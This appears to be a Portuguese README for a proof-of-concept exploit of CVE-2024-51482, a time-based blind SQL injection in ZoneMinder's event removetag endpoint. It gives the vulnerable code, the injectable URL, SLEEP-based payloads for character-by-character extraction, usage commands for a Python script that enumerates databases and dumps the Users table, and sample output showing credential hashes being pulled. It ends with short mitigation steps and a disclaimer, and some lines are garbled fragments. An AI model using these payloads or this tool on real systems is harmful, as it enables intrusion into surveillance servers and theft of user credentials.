
ZenoMinder PoC de Injeção SQL Cega
A CVE-2024-51482 é uma vulnerabilidade crítica de Injeção SQL cega baseada em booleano descoberta no ZoneMinder, um popular software de vigilância por CCTV de código aberto. Essa falha afeta as versões 1.37.* até 1.37.64 e permite que atacantes autenticados com baixos privilégios executem comandos SQL arbitrários no servidor de banco de dados subjacente.
| Métrica | Valor |
|---|---|
| ID CVE | CVE-2024-51482 |
| Pontuação CVSS | 9.9 (Crítico) |
| Vetor de Ataque | Rede |
| Privilégios Necessários | Baixo |
| Interação do Usuário | Nenhum |
| Escopo | Alterado |
| Impacto | Confidencialidade, Integridade, Disponibilidade - ALTA |
| Versão Corrigida | 1.37.65 |
A vulnerabilidade existe no arquivo web/ajax/event.php dentro da função removetag. O parâmetro tid (ID da Tag) é concatenado diretamente em uma consulta SQL sem sanitização ou parametrização adequada.
Código Vulnerável:
case 'removetag':
$tagId = $_REQUEST['tid'];
dbQuery('DELETE FROM Events_Tags WHERE TagId = ? AND EventId = ?', array($tagId, $_REQUEST['id']));
$sql = "SELECT * FROM Events_Tags WHERE TagId = $tagId"; // VULNERÁVEL!
$rowCount = dbNumRows($sql);
// ...
Código Corrigido:
$sql = "SELECT * FROM Events_Tags WHERE TagId = ?";
$rowCount = dbNumRows($sql, $tagId); // Consulta parametrizada
O endpoint vulnerável pode ser acionado via:
http://target/zm/index.php?view=request&request=event&action=removetag&tid=[PONTO_DE_INJEÇÃO]
O ponto de injeção não retorna resultados da consulta diretamente na resposta, tornando ataques tradicionais baseados em UNION impossíveis. Em vez disso, devemos inferir informações através de condições booleanas ou atrasos de tempo.
Nosso exploit usa extração baseada em tempo com a função SLEEP():
1 AND (SELECT 1 FROM (SELECT SLEEP(2)) as dummy)
Quando essa condição é avaliada como verdadeira, o banco de dados dorme por 2 segundos, criando um atraso mensurável na resposta HTTP.
ASCII(SUBSTRING()) > MID.SLEEP é acionado.Exemplo de payload para extrair o caractere na posição 1:
1 AND (SELECT 1 FROM (SELECT SLEEP(2) FROM DUAL WHERE ASCII(SUBSTRING((SELECT schema_name FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 0,1), 1, 1)) > 100) as dummy)
# Clone o repositório
git clone https://github.com/BridgerAlderson/CVE-2024-51482.git
cd CVE-2024-51482
# Torne o script executável
chmod +x CVE-2024-51482.py
# Instale as dependências necessárias
pip3 install requests
# Teste se o alvo é vulnerável
python3 CVE-2024-51482.py -i <host-alvo> -u admin -p admin --test
# Descubra todos os bancos de dados
python3 CVE-2024-51482.py -i <host-alvo> -u admin -p admin --discover
# Liste tabelas em um banco de dados específico
python3 CVE-2024-51482.py -i <host-alvo> -u admin -p admin --tables zm
# Liste colunas em uma tabela específica
python3 CVE-2024-51482.py -i <host-alvo> -u admin -p admin --columns zm Users
# Despeje dados de colunas específicas
python3 CVE-2024-51482.py -i <host-alvo> -u admin -p admin --dump zm Users "Username,Password"
# Despeje a tabela de usuários (padrão)
python3 CVE-2024-51482.py -i <host-alvo> -u admin -p admin --users
# Ative a saída de depuração para processo detalhado de extração
python3 CVE-2024-51482.py -i <host-alvo> -u admin -p admin --users --debug
# Ajuste o tempo de sleep para extração mais confiável
python3 CVE-2024-51482.py -i <host-alvo> -u admin -p admin --users --sleep 3
# Desative a saída colorida
python3 CVE-2024-51482.py -i <host-alvo> -u admin -p admin --users --no-color
Exemplo 1: Teste de Vulnerabilidade
$ python3 CVE-2024-51482.py -i 192.168.1.100 -u admin -p admin --test
[*] CVE-2024-51482 - ZoneMinder Blind SQL Injection Exploit
[*] Target: 192.168.1.100
[*] Logging in as 'admin' on 192.168.1.100...
[+] Login successful
[*] Measuring baseline response time...
[*] Baseline median: 0.058s
[*] Testing vulnerability with 2s sleep...
[+] Target is vulnerable!
Exemplo 2: Enumeração de Banco de Dados
$ python3 CVE-2024-51482.py -i <host-alvo> -u admin -p admin --discover
[*] CVE-2024-51482 - ZoneMinder Blind SQL Injection Exploit
[*] Target: <host-alvo>
[*] Logging in as 'admin' on <host-alvo>...
[+] Login successful
[*] Measuring baseline response time...
[*] Baseline median: 0.065s
[*] Testing vulnerability with 2s sleep...
[+] Target is vulnerable!
[*] Enumerating databases...
[+] Found database: information_schema
[+] Found database: performance_schema
[+] Found database: zm
[+] Databases found:
1. information_schema
2. performance_schema
3. zm
Exemplo 3: Despejo de Credenciais de Usuário
$ python3 CVE-2024-51482.py -i <host-alvo> -u admin -p admin --users
[*] CVE-2024-51482 - ZoneMinder Blind SQL Injection Exploit
[*] Target: <host-alvo>
[*] Logging in as 'admin' on <host-alvo>...
[+] Login successful
[*] Measuring baseline response time...
[*] Baseline median: 0.062s
[*] Testing vulnerability with 2s sleep...
[+] Target is vulnerable!
[*] Dumping Users table from zm database...
[*] Enumerating columns in 'zm.Users'...
[+] Found column: Id
[+] Found column: Username
[+] Found column: Password
[+] Found column: Language
[+] Found column: Enabled
[*] Dumping data from 'zm.Users'...
[+] Row 1: {'Username': 'admin', 'Password': '$2y$10$...hashed...'}
[+] Row 2: {'Username': 'operator', 'Password': '$2y$10$...hashed...'}
[+] Users extracted: 2
User: admin
Pass: $2y$10$...hashed...
Email: admin@localhost
Enabled: 1
User: operator
Pass: $2y$10$...hashed...
Email: operator@localhost
Enabled: 1
Exemplo 4: Extração de Dados Personalizada
# Despeje colunas específicas da tabela Events
python3 CVE-2024-51482.py -i <host-alvo> -u admin -p admin --dump zm Events "Id,Name,StartTime,EndTime"
SLEEP(2) para verificar se a injeção funciona.ASCII(SUBSTRING(({query}), {position}, 1)) > {mid} .SLEEP é acionado → Resposta atrasada.sudo apt-get update
sudo apt-get install zoneminder
# Configuração Apache
Require ip 192.168.0.0/16
grep -i "sleep\|union\|select" /var/log/zm/*.log
Esta ferramenta é fornecida apenas para fins educacionais e de teste de segurança. Testar sistemas de computador sem autorização é ilegal. Sempre obtenha a devida autorização antes de testar qualquer sistema.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
| Métrica | Valor |
|---|
| Vetor de Ataque | Rede |
| Complexidade do Ataque | Baixa |
| Privilégios Necessários | Baixo |
| Interação do Usuário | Nenhum |
| Escopo | Alterado |
| Confidencialidade | Alta |
| Integridade | Alta |
| Disponibilidade | Alta |